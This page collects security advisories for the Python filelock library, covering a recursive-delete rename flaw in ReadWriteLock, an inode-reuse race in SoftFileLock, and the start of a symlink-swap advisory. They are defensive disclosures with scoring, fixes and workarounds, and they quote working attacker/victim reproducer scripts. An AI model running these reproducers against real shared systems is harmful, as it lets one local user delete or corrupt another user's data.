Where
AND
-Infinity
0
Severity
6.1
SQL Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) remove their private .filelock- link directories with shutil.rmtree (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable /proc/self/fd (a Linux path that names the process's own open files), such as a chroot or container that does not mount /proc.

Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with /proc mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.

Anthropic's OSS Scanner reported this in private as ANT-2026-LSSZIUEO [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L scores 6.1 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): two rename calls and no race against filelock's own code. I:H (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. A:L (partial availability loss): the Python 3.11 RecursionError variant makes the lock user's first lock construction fail. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.

Classification from the external review: conditional security, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with /proc hidden rather than on a run on macOS, and narrows the finding to that precondition and route.

Scope and preconditions

- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a 0777 directory, or a group-writable one (in a setgid 2775 directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a 0700 directory of the lock user. - Sticky directories (/tmp itself, any 1777 directory) stop the release variant: the rename of an entry owned by the lock user fails with EPERM. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 RecursionError variant also works in a sticky directory. - Platform and route. The lock user must connect through the private hard link. That is every ReadWriteLock or AsyncReadWriteLock on macOS (since 4.1.1, #820), or a POSIX process whose /proc/self/fd/<n> (/dev/fd/<n> elsewhere) does not exist, such as a chroot or container without /proc. Linux with /proc mounted connects through the descriptor and creates no .filelock- directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the descriptorusable branch at line 984 and docs/how-to.rst. The reproducer runs the same Python code on Linux with /proc hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route. - Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a 0700 directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask 002) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.

Affected code

At the scanned commit b831496b0273: ForkSafeConnection.close runs shutil.rmtree on the remembered mkdtemp path. The path comes from retainuntilclose, set on the link route in connectthroughdescriptor, where descriptorusable is False on macOS. Three more rmtree sites sit in linkbeside (lines 1023 and 1026) and the connect's finally (line 1011). The fifth is in sweeplinksofthedead, with the name parser ownerisgone and linkprefix.

Introduced

The link directory moved beside the database in 015d27c ("fix(read-write): reject WAL databases and link beside the db (#805)"), and the dead-owner sweep came with df06bbd (#815). Both were first released in 4.1.0 (verified: git tag --contains gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in TMPDIR). macOS takes the link route for every connection since 5fd0c8f (#820), first released in 4.1.1 (verified).

Mechanism

When the lock connects through its private hard link, it disposes of .filelock- directories with shutil.rmtree on a path. Nothing ties that path to the directory filelock created. mkdtemp makes the name unpredictable and the directory 0700. The name is in the parent's listing as soon as it exists (ls -a), and renaming it needs write permission on the parent only. 0700 keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.

On release. A connection lives for one acquisition: openforacquisition opens it and release() reaches close through release and finishconnection. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds writelock() on /tmp/shared-cache/cache.db, the directory lists .filelock-<pid>--<host digest>-<random>/ (0700, owned by the lock user, containing lock.db). The other user runs two renames: that directory to moved-aside, then victimproject (a 0700 directory of the lock user with notes.txt inside) onto the link directory's name. When the lock user leaves the with block, rmtree deletes victimproject and everything in it with the lock user's permissions, and the process exits with status 0. moved-aside/lock.db, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (ReadWriteLock.init opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.

In the dead-owner sweep. linkbeside calls sweeplinksofthedead(parent) once per process and parent directory before mkdtemp. The first connect of every process on the link route runs it, the validation connection included. It runs rmtree on every .filelock- directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only lock.db. ownerisgone splits the name after .filelock- into pid, start, digest (a hash of the host name) and a suffix. It returns digest == hostdigest(host) and ownerisstale(pid, host, start or None).

The other user can forge every field. Take .filelock-2147483647--<digest>-x. pid is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so processalive gets ESRCH from os.kill(pid, 0); the PID of any exited process, such as a child the other user just reaped, passes as well. start is empty, which the parser accepts because linkprefix writes an empty field when it has no start token; with no token and a dead PID ownerisstale returns True. digest is sha256(hostname())[:16]. hostname() adds a PID-namespace tag only when /proc/self/ns/pid is readable, which it is not on macOS or without /proc, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.

One rename("victimproject", ".filelock-2147483647--<digest>-x") at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.

The sweep's rmtree has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where shutil.rmtree recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a 1777 directory, with 1500 nested subdirectories inside. The first ReadWriteLock(...) a lock user process on the link route constructs there raises RecursionError, which the suppress(OSError) at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.

Reproduction

The scanner's reproducer for ANT-2026-LSSZIUEO, quoted as received. It ran against commit b831496b0273.

repro

python #!/usr/bin/env python3 import os import shutil import subprocess import sys

shared = "/tmp/shared-cache" project = f"{shared}/victimproject"

ReadWriteLock takes the hard-link route (.filelock- directory beside the database) on macOS, and elsewhere when /proc/self/fd/<n> is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route. os.unshare(os.CLONENEWNS) subprocess.run(["mount", "--make-rprivate", "/"], check=True) subprocess.run(["mount", "-t", "tmpfs", "tmpfs", "/proc"], check=True)

set up: a shared directory without the sticky bit, holding the victim's private tree shutil.rmtree(shared, ignoreerrors=True) os.mkdir(shared) os.chmod(shared, 0o777) os.mkdir(project, 0o700) with open(f"{project}/notes.txt", "w") as notesfile: notesfile.write("victim data\n") shutil.chown(f"{project}/notes.txt", "victim", "victim") shutil.chown(project, "victim", "victim")

rm = subprocess.run(["runuser", "-u", "attacker", "--", "rm", "-rf", project], captureoutput=True, text=True) print("attacker runs rm -rf on the victim's tree:", rm.stderr.strip()) assert os.path.exists(f"{project}/notes.txt"), "setup: the attacker could delete the tree without filelock"

the victim takes the write lock and stays in its critical section victim = subprocess.Popen( ["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victimholdwritelock.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True, ) assert victim.stdout.readline() == "holding the write lock\n", "setup: the victim did not take the lock" print("while the victim holds the lock:", sorted(os.listdir(shared)))

attack subprocess.run(["runuser", "-u", "attacker", "--", sys.executable, "/tmp/repro.d/attackerswaplinkdir.py"], check=True) linkdir = next(name for name in os.listdir(shared) if name.startswith(".filelock-")) notes = f"{shared}/{linkdir}/notes.txt" print("after the attacker's renames:", sorted(os.listdir(shared))) print(f"{notes} exists:", os.path.exists(notes)) assert os.path.exists(notes), "setup: the attacker's renames did not happen"

the victim leaves its with block victim.communicate("\n", timeout=30) print("victim exit status:", victim.returncode) print("after the release:", sorted(os.listdir(shared))) print(f"{notes} exists:", os.path.exists(notes))

check: releasing a lock must not delete the victim's files print("BUG" if not os.path.exists(notes) else "OK")

repro.d/attackerswaplinkdir.py

python import os

shared = "/tmp/shared-cache"

both directories are 0700 and owned by victim; renaming them needs write permission on the parent only linkdir = next(name for name in os.listdir(shared) if name.startswith(".filelock-")) os.rename(f"{shared}/{linkdir}", f"{shared}/moved-aside") os.rename(f"{shared}/victimproject", f"{shared}/{linkdir}")

repro.d/victimholdwritelock.py

python import sys

from filelock import ReadWriteLock

lock = ReadWriteLock("/tmp/shared-cache/cache.db") with lock.writelock(): print("holding the write lock", flush=True) sys.stdin.readline() # stands for the work the lock protects; it ends when repro sends a line

Attack sequence

mermaid sequenceDiagram participant A as other local user participant V as lock user's process (link route) participant K as filesystem (parent 0777, no sticky bit) rect rgb(255, 214, 214) Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db V->>K: BEGIN EXCLUSIVE, write lock held A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside) A->>K: rename(victimproject, .filelock-PID--DIGEST-XXXX) V->>K: release() calls shutil.rmtree(".filelock-PID--DIGEST-XXXX") Note over V,K: victimproject and notes.txt are gone, exit status 0, moved-aside/lock.db stays A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x) V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one end

Evidence

The scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over /proc for itself and its children (the only non-default condition, standing in for macOS). It creates /tmp/shared-cache (0777, no sticky bit) with victimproject/notes.txt (0700, owned by victim), shows that rm -rf on that tree as attacker fails with Permission denied, runs the victim program (ReadWriteLock("/tmp/shared-cache/cache.db") + with lock.writelock():) and the attacker renames, then lets the victim program release. Expected output on the scanned commit:

attacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victimproject': Permission denied while the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os58i3c', 'cache.db', 'victimproject'] after the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os58i3c', 'cache.db', 'moved-aside'] /tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os58i3c/notes.txt exists: True victim exit status: 0 after the release: ['cache.db', 'moved-aside'] /tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os58i3c/notes.txt exists: False BUG

The scanner showed the sweep variant by hand with the same setup and no lock held. As attacker, one rename of victimproject to .filelock-2147483647--<digest>-x with <digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16], then ReadWriteLock("/tmp/shared-cache/cache.db") as victim with /proc hidden. notes.txt is gone after the constructor returns and the directory contains only cache.db.

Our verification: BUG on b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head: OK; the listing after the release is ['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside'], notes.txt exists: True, and the victim program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the descriptorusable branch and the identical code after it.

Impact

The other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two rename calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.

It is not reachable on stock Linux with /proc mounted at 4.2.0. The release variant is not reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived .filelock- directory rather than the database, and the redirected operation is a recursive delete.

Workarounds

- On macOS, and on any POSIX system where /proc/self/fd is unavailable, keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory. - Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database. - On Linux with /proc mounted, 4.2.0 does not take the link route and needs no workaround for this finding.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/834

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it - 2026-10-16 01:15 UTC: fix PR #834 opened

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N

filelock is a platform-independent file lock for Python. From 4.1.0 until 4.2.1, SoftFileLock can restore a stale marker by name after moving it aside, allowing another local user with rename access in a non-sticky lock directory to swap in a symbolic link and, on a runtime that follows the link and a same-filesystem target, make the lock user hard-link one of its files into the lock directory. This issue is fixed in version 4.2.1.

1 / 3
Source: Ubuntu
First published (updated )
Severity
4.7
Race Condition
AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

SoftFileLock and MarkerSoftFileLock evict an unparsable marker (the lock file at <path>, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. SoftFileLease expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.

Another local user (the other user below) who can create files in the lock's directory, a sticky /tmp included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.

Two of the lock user's processes then run the critical section together with no error. A SoftFileLease waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after leaseduration. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-RKC48J5B).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's processes act on their own. C:N (no confidentiality impact): the other user reads nothing. I:H (high integrity impact): two holders write the data the lock protects, and neither learns of the other. A:N (no availability impact): the lock keeps working.

Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.

Scope and preconditions

- The other user can create files in the lock's directory; a root-owned 1777 directory is enough. It creates, utimes (sets the timestamps of) and unlinks only its own file. In the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock. - The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either. - File timestamps come from a coarse clock whose future values the other user can compute (CLOCKREALTIMECOARSE, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value). - At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, leaseduration). - No symbolic link, hard link or FIFO takes part, so the fs.protected sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. StrictSoftFileLock keys its watch the same way but only raises SoftFileLockProtocolError, so it breaks no lock there.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the watch is SoftFileLock.markerunchangedfor, with its caller in trybreakstalelock. The MarkerSoftFileLock and SoftFileLease paths hand an unparsable marker to the same code. The re-check in breaklockfile compares the values the contender just read.

Introduced

0f7c4d3794dc ("fix(soft): expire leases on the contender's clock", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.

Mechanism

SoftFileLock.acquire creates the marker with OCREAT | OEXCL (create the file, fail if it exists) and only then writes the holder record. In between it calls fstat and uname, stats /proc/self/ns/pid and reads /proc/<pid>/stat, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. trybreakstalelock reads the marker, finds no holder, and calls breaklockfile(lockfile, mtime, ino) only if markerunchangedfor(mtime, ino) reaches MALFORMEDLOCKAGETHRESHOLD (2.0 s). That function keeps self.markerseen = ((mtime, ino), first seen) across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.

Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with utime, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.

1. While the lock is free, the other user creates an empty file at the lock path (inode I) and sets its mtime to T, a tick of the coarse clock about 2.2 s in the future. 2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records markerseen = ((T, I), first seen). After 2 s each poll calls breaklockfile, whose rename fails with EPERM (operation not permitted; seen with strace): the directory is sticky and the file belongs to the other user. suppress(OSError, ...) swallows the error, the file stays, and nothing resets markerseen. 3. When the coarse clock reaches T, the other user unlinks its file. Inode I is free. 4. Process F of the lock user polls during tick T. Its OEXCL create succeeds, and its marker is inode I with mtime T. 5. Process S polls before F has written its record. It reads an empty file with pair (T, I), markerunchangedfor returns the 2.2 s that S spent watching the other user's file, and S calls breaklockfile(lockfile, T, I). 6. breaklockfile compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed. 7. F writes its record into the unlinked inode and returns from acquire(). The path is empty, so the next contender to poll creates a marker and returns from acquire() too. F's release finds another inode at the path (unlinkopenmarker) and leaves it. Neither holder learns anything.

Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick T, and a waiter broke 7 of those 13.

MarkerSoftFileLock and SoftFileLease hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: if owner.mode == "lease" and self.markerunchangedfor(mtime, ino) >= self.leaseduration: breaklockfile(...). markerseen is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair (T, I) has gone unrefreshed for leaseduration, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using SoftFileLease(path, leaseduration=2) and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's oncompromise (the callback that tells a holder it lost the lock) reported owner-changed 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.

Reproduction

The scanner's reproducer for finding ANT-2026-RKC48J5B, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

python #!/usr/bin/env python3 import os import shutil import subprocess import sys import time

LOCKDIR = "/tmp/locks" LOCKPATH = "/tmp/locks/app.lock" HOLDSLOG = "/tmp/holds.log"

def startvictims(): # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it shutil.rmtree(LOCKDIR, ignoreerrors=True) os.mkdir(LOCKDIR) os.chmod(LOCKDIR, 0o1777) victim = [sys.executable, "/tmp/repro.d/victim.py", LOCKPATH] with open(HOLDSLOG, "w") as holdslog: return [ subprocess.Popen(victim, stdout=holdslog, user="victim", group="victim", extragroups=[]) for in range(10) ]

def holdsenteredafter(moment): holds = [] for line in open(HOLDSLOG): fields = dict(field.split("=") for field in line.split()) hold = {"entered": float(fields["entered"]), "exited": float(fields["exited"]), "line": line.strip()} if hold["entered"] > moment: holds.append(hold) return sorted(holds, key=lambda hold: hold["entered"])

def attackuntiloverlap(phase, dateoffsets, maxattempts): victims = startvictims() attacker = [sys.executable, "/tmp/repro.d/attacker.py", LOCKPATH, str(dateoffsets)] for attempt in range(1, maxattempts + 1): run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True, user="attacker", group="attacker", extragroups=[]) print(f"{phase} attempt {attempt}: {run.stdout.strip()}", flush=True) unlinkedat = float(run.stdout.split("unlinkedat=")[1]) time.sleep(0.4) # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now

# A hold entered within 1 ms of the unlink can also come from a separate flaw in breaklockfile (see the # report), so those are left out. time.monotonic() is one clock for every process on the machine. holds = holdsenteredafter(unlinkedat + 0.001) overlaps = [(first, second) for first, second in zip(holds, holds[1:]) if second["entered"] < first["exited"]] if overlaps: break for victim in victims: victim.kill() victim.wait() return overlaps

control: the attacker's file is dated an hour after the tick in which it is unlinked control = attackuntiloverlap("CONTROL", dateoffsets=3600, maxattempts=20) attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets observed = attackuntiloverlap("OBSERVED", dateoffsets=0, maxattempts=250)

check: no two victims may ever be inside the lock at once for phase, overlaps in [("CONTROL", control), ("OBSERVED", observed)]: print(f"{phase}: {len(overlaps)} time(s) two victims inside the lock at once") for first, second in overlaps: print(f"{phase}: {first['line']}") print(f"{phase}: {second['line']}") print("BUG" if observed and not control else "OK")

repro.d/attacker.py

python #!/usr/bin/env python3 import os import random import sys import time

lockpath, dateoffsets = sys.argv[1], int(sys.argv[2])

CLOCKREALTIMECOARSE = 5 # <linux/time.h>; the kernel stamps new files from it, and it moves once per timer tick tickns = round(time.clockgetres(CLOCKREALTIMECOARSE) 1e9)

take the lock path the moment it is free, like any contender while True: try: fd = os.open(lockpath, os.OCREAT | os.OEXCL | os.OWRONLY, 0o644) break except FileExistsError: time.sleep(0.002)

Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random part makes some attempts free the path just before one of their polls. parks = random.uniform(2.2, 2.25) releasetick = time.clockgettimens(CLOCKREALTIMECOARSE) + round(parks 1e9 / tickns) tickns mtimens = releasetick + dateoffsets 109 os.utime(fd, ns=(mtimens, mtimens)) inode = os.fstat(fd).stino os.close(fd)

time.sleep(parks - 0.05) while time.clockgettimens(CLOCKREALTIMECOARSE) < releasetick: pass os.unlink(lockpath) # a marker created before the next tick gets mtime == releasetick and, on ext4, this inode unlinkedat = time.monotonic() time.sleep(0.1) # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer print(f"inode={inode} mtimens={mtimens} unlinkedintick={releasetick} unlinkedat={unlinkedat}")

repro.d/victim.py

python #!/usr/bin/env python3 import os import sys import time

from filelock import SoftFileLock

lock = SoftFileLock(sys.argv[1]) while True: with lock: entered = time.monotonic() time.sleep(0.3) # work on whatever the lock protects print(f"pid={os.getpid()} entered={entered} exited={time.monotonic()} islocked={lock.islocked}", flush=True) time.sleep(0.05)

Attack sequence

mermaid sequenceDiagram participant X as other local user participant P as lock path (sticky dir, ext4, 4 ms clock ticks) participant S as process S of the lock user (waiting) participant F as process F of the lock user X->>P: create empty file, inode I, utime to future tick T S->>P: poll: empty file, key (T, I), watch starts Note over S: after 2 s each poll calls breaklockfile, rename gets EPERM, error swallowed, watch keeps counting rect rgb(255, 214, 214) X->>P: at tick T: unlink own file, I is free F->>P: OEXCL create in tick T: inode I, mtime T, record not yet written S->>P: poll: empty file, key (T, I) seen for 2.2 s: breaklockfile(T, I) renames and unlinks F's marker F->>P: writes record into the unlinked inode, acquire() returns Note over S,F: the path is empty, the next contender creates a marker: two holders, no error end

Evidence

The scanner's reproducer runs ten copies of a default-option SoftFileLock program (0.3 s of work per hold, 50 ms between holds) as user victim in a root-owned 1777 directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user attacker waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when CLOCKREALTIMECOARSE reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.

In four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two victim processes overlapping in time with islocked=True, for example pid=217 entered=241.295272609 exited=241.59542327 and pid=216 entered=241.295518489 exited=241.595641553. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.

Our review ran the reproducer over a loop-mounted ext4 /tmp (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, --cpus 2). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that utime cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.

Impact

A local user who can create a file in a soft lock's directory, a sticky directory such as /tmp included, gets two processes of another user to hold the same SoftFileLock at once (MarkerSoftFileLock too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock. For SoftFileLease the effect is a live, refreshed claim taken after milliseconds instead of after leaseduration without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.

Workarounds

Keep soft locks in a directory other users cannot create files in (a 0700 directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native FileLock works (local ext4 with flock), prefer it over SoftFileLock. Raise pollinterval so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/843

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

- 2026-10-15 23:08 UTC: report received (finding ANT-2026-RKC48J5B, scanned commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory created - 2026-10-16 01:42 UTC: fix PR #843 opened

1 / 3
Source: GitHub
First published (updated )
Severity
3.3
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

SoftReadWriteLock (and AsyncSoftReadWriteLock, which wraps one) checks once per lock object, by name, that <path>.rw, <path>.rw/gen and <path>.rw/holders are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and ONOFOLLOW (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created <path>.rw first in a sticky directory such as /tmp (the sticky bit is a directory flag that lets only a file's owner rename or remove it), can put a tree under that name whose gen or holders is a symbolic link into a directory of the user running the lock (the lock user below).

A long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user's privileges, including in 0700 directories the other user cannot open. The names and bytes are filelock's own lock records, not chosen by the other user. The scanner's reproducer replaces .git/HEAD in the lock user's private repository so that git status fails. There is no race. Affected versions: filelock >= 4.1.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as ANT-2026-WXXRI4M4 [high, CWE-367], titled "SoftReadWriteLock follows gen dir swapped for a symlink after first acquire".

Severity

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).

AV:L (local): the other user needs an account on the same host. AC:L (low attack complexity): the swap happens between two acquisitions, with no race to win. PR:L (low privileges): a local user with ordinary privileges is enough. UI:N (no user interaction): the lock user's process acts on its own. C:N (no confidentiality impact): the other user learns nothing. I:L (low integrity impact): the lock user's process replaces a file named HEAD, creates epoch and generation records, and deletes files whose names match the protocol's patterns, in any directory the lock user can write, with the lock user's privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. A:N (no availability impact): the lock itself keeps working and the lock user's process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges.

Classification from the external review: conditional security. It is a cross-user replacement of a cached .rw tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky /tmp or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies.

Scope and preconditions

